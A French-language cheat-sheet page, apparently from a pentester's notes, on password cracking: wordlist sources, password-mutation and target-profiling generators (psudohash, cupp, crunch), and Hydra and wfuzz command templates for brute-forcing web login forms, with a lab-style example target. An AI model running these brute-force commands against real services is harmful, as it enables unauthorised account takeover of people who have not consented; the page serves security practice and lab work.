Skip to main content

[Cracking] Mots de passe

Introduction

Cette page est dédiée au crackage de mots de passe avec des outils et des procédures.

Wordlists

Ci-dessous se trouve un liste de wordlists plus ou moins longue et plus ou moins efficace selon l'utilisation :image.png

    Rockyou : https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt Wordlist de Stun de 1,5 Milliards de mots de passe : https://korben.info/une-liste-de-15-milliards-de-mots-de-passe.html Chemin des wordlists sur Kali Linux : /usr/share/wordlists/wfuzz/general/ Wordlist Fuzzing : https://github.com/daviddias/node-dirbuster/blob/master/lists/directory-list-2.3-medium.txt

    Psudohash

    Cet outil permet de générer des mutations d'un mot de passe.

    https://github.com/t3l3machus/psudohash

    image.png

    Cupp

    Permet de générer des mots de passes pour cibler une personne ou une entité en établissant le profil de ce dernier.

    https://github.com/Mebus/cupp

    cupp-example.gif

    Crunch

    Permet de générer des mots de passe selon un patern et des propriétés comme une longueur spécifique ou l'utilisation de caractères spéciaux.

    https://github.com/jim3ma/crunch

    Hydra

    Certainement le plus grand outil de brute force, il permet d'attaquer divers services et des pages de login web.

    HTTP Get

    hydra -l $USER -P <WORDLIST> -f <TARGET> http-get-form <LOGIN_URL>:<PARAMETER>=<VALUE>

    Exemple :

    hydra -l admin -P /resources/rockyou.txt -f cozyhosting.htb http-get-form "/login:username=admin&password=^PASS^:Invalid username or password"

    HTTP Post

    hydra -l $USER -P <WORDLIST> -f <TARGET> http-post-form <LOGIN_URL>:<PARAMETER>=<VALUE>

    Exemple :

    hydra -l admin -P /resources/rockyou.txt -f cozyhosting.htb http-post-form "/login:username=admin&password=^PASS^:Invalid username or password"

    WFuzz

    Outil de fuzzing de sous domaines mais ausside brute force de formulaires sur des pages web.

    Exemple d'utilisation pour brute force un login sur une page web :

    wfuzz -c -z file,<WORDLIST> --hs  <MOT_ECHEC_PASS_PAGE> -d "<login>=<LOGIN>&<password>=FUZZ" <URL>

    image.png